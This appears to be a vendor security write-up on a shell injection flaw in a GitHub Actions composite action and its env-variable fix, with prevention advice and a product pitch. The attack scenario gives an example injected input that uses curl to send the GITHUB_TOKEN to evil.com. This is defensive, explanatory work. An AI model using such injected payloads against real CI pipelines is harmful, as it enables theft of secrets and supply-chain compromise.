How Shell Injection via ${{ Variable Interpolation Happens in GitHub Actions and How to Fix It
Introduction
In a production repository's .github/commaSplitter/action.yaml, we discovered a high-severity shell injection vulnerability at line 19. The composite action's purpose is simple: take a comma-separated input string and split it into a JSON array. But the way it consumed user input—by directly interpolating ${{ inputs.input }} into a bash run: step—created a dangerous attack surface that could allow an attacker to execute arbitrary code on the GitHub Actions runner, steal repository secrets, and compromise the CI/CD pipeline.
The vulnerable line looked like this:
IFS=',' read -ra list_data <<< "${{ inputs.input }}"
This pattern is deceptively common in GitHub Actions workflows. Developers often assume that because the input is "just a string," it's safe to interpolate directly. But GitHub Actions expression interpolation happens before the shell script is constructed, meaning an attacker's payload becomes part of the script itself.
The Vulnerability Explained
How GitHub Actions Expression Interpolation Works
When GitHub Actions encounters ${{ inputs.input }} in a run: step, it performs a text substitution at the YAML template level. The resulting string is then written to a temporary shell script file and executed. This means whatever value inputs.input contains becomes literal shell script text.
Here's the vulnerable code in .github/commaSplitter/action.yaml:
runs:
using: "composite"
steps:
- name: Split the input
id: splitter
shell: bash
run: |
IFS=',' read -ra list_data <<< "${{ inputs.input }}"
output=$(jq -cn '[$ARGS.positional[]]' --args "${list_data[@]}")
echo "output=$output" >> $GITHUB_OUTPUT
echo "output: $output"
The Attack Scenario
Imagine this composite action is called from a workflow that processes data from a pull request or issue—perhaps splitting a comma-separated list of labels, file paths, or reviewer names. An attacker could provide an input value like:
"; curl -s https://evil.com/exfil?token=$(cat $GITHUB_TOKEN) #
After GitHub Actions interpolation, the generated shell script would become:
IFS=',' read -ra list_data <<< ""; curl -s https://evil.com/exfil?token=$(cat $GITHUB_TOKEN) #"
The attacker has:
1. Closed the heredoc string with "
2. Terminated the first command with ;
3. Injected an arbitrary curl command that exfiltrates the GITHUB_TOKEN
4. Commented out the rest of the line with #
Even more dangerous payloads could:
- Access all secrets available to the workflow via ${{ secrets.* }} (which are exposed as environment variables)
- Modify the repository by pushing malicious commits
- Install backdoors in build artifacts (supply chain attack)
- Pivot to other systems using stored credentials
Why This Is Particularly Dangerous
The commaSplitter action is a reusable composite action. Any workflow in the repository (or potentially in other repositories if it's a public action) that calls this action with user-influenced data becomes vulnerable. The blast radius extends beyond a single workflow file.
The Fix
The fix introduces an intermediate environment variable using the env: block, which is the GitHub-recommended pattern for handling untrusted input:
Before (vulnerable):
- name: Split the input
id: splitter
shell: bash
run: |
IFS=',' read -ra list_data <<< "${{ inputs.input }}"
output=$(jq -cn '[$ARGS.positional[]]' --args "${list_data[@]}")
echo "output=$output" >> $GITHUB_OUTPUT
echo "output: $output"
After (fixed):
- name: Split the input
id: splitter
shell: bash
env:
INPUT: ${{ inputs.input }}
run: |
IFS=',' read -ra list_data <<< "$INPUT"
output=$(jq -cn '[$ARGS.positional[]]' --args "${list_data[@]}")
echo "output=$output" >> $GITHUB_OUTPUT
echo "output: $output"
Why This Works
The critical difference is when and how the value is processed:
-
env:block assignment:INPUT: ${{ inputs.input }}— GitHub Actions sets the environment variableINPUTto the literal string value ofinputs.input. The value is stored as data, not injected into script text. -
Shell variable reference:
"$INPUT"— When bash executes, it reads theINPUTenvironment variable. Because it's enclosed in double quotes, the shell treats it as a single string argument, regardless of what characters it contains. Shell metacharacters like;,|,$(), and backticks are not interpreted.
The attacker's payload "; curl -s https://evil.com/exfil # would now simply be passed as a literal string to the read command—it would be treated as data to split on commas, not as shell commands to execute.
Prevention & Best Practices
1. Never Use ${{ }} Directly in run: Steps with Untrusted Data
Any GitHub context that can be influenced by external users is untrusted:
- github.event.pull_request.title
- github.event.pull_request.body
- github.event.issue.title
- github.head_ref
- inputs.* (for reusable/composite actions)
- github.event.comment.body
2. Always Use the env: Pattern
env:
UNTRUSTED_DATA: ${{ github.event.pull_request.title }}
run: |
echo "Processing: $UNTRUSTED_DATA"
3. Enable Static Analysis for GitHub Actions
Use tools like:
- Semgrep with the yaml.github-actions.security.run-shell-injection.run-shell-injection rule
- actionlint — a dedicated GitHub Actions linter
- CodeQL — GitHub's own code scanning with Actions-specific queries
4. Limit Permissions
Use the permissions: key to restrict GITHUB_TOKEN scope. If a workflow only needs to read code, don't grant it write access:
permissions:
contents: read
5. Review Composite Actions Carefully
Composite actions are reused across workflows. A single vulnerability in a composite action multiplies across every caller.
Key Takeaways
${{ inputs.input }}in arun:step is never safe when the input can be influenced by untrusted users—even in composite actions that seem internal.- The
commaSplitteraction's simple comma-splitting logic masked a critical injection point because developers focused on the business logic rather than the data flow. - Environment variables with
env:blocks are the only safe way to pass GitHub context data into shell scripts in GitHub Actions. - Composite actions amplify risk because they're reused—fixing this one file protects every workflow that calls
commaSplitter. - Semgrep's
run-shell-injectionrule reliably detects this exact pattern and should be part of every repository's CI pipeline.
How Orbis AppSec Detected This
- Source: The
inputs.inputparameter of the composite action at.github/commaSplitter/action.yaml, which receives arbitrary string data from calling workflows. - Sink: The
run:step at line 19, where${{ inputs.input }}was directly interpolated into a bash heredoc string (<<< "${{ inputs.input }}"), allowing shell command injection. - Missing control: No intermediate environment variable or input sanitization was applied between the untrusted input source and the shell execution context.
- CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
- Fix: Replaced direct
${{ inputs.input }}interpolation with anenv:block (INPUT: ${{ inputs.input }}) and referenced the environment variable ("$INPUT") in the shell script.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
Shell injection in GitHub Actions is one of the most underappreciated security risks in modern CI/CD pipelines. The ${{ }} interpolation syntax makes it trivially easy to introduce command injection vulnerabilities that can compromise secrets, source code, and build artifacts. The fix demonstrated here—using an env: block to safely pass inputs.input as the INPUT environment variable—is simple, behavior-preserving, and eliminates the attack surface entirely. Every team using GitHub Actions should audit their workflows for this pattern today.
References
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- GitHub Security Lab: Keeping your GitHub Actions and workflows secure
- OWASP Command Injection
- Semgrep Rule: run-shell-injection
- GitHub Docs: Security hardening for GitHub Actions
- fix: using variable interpolation `${{ in action.yaml...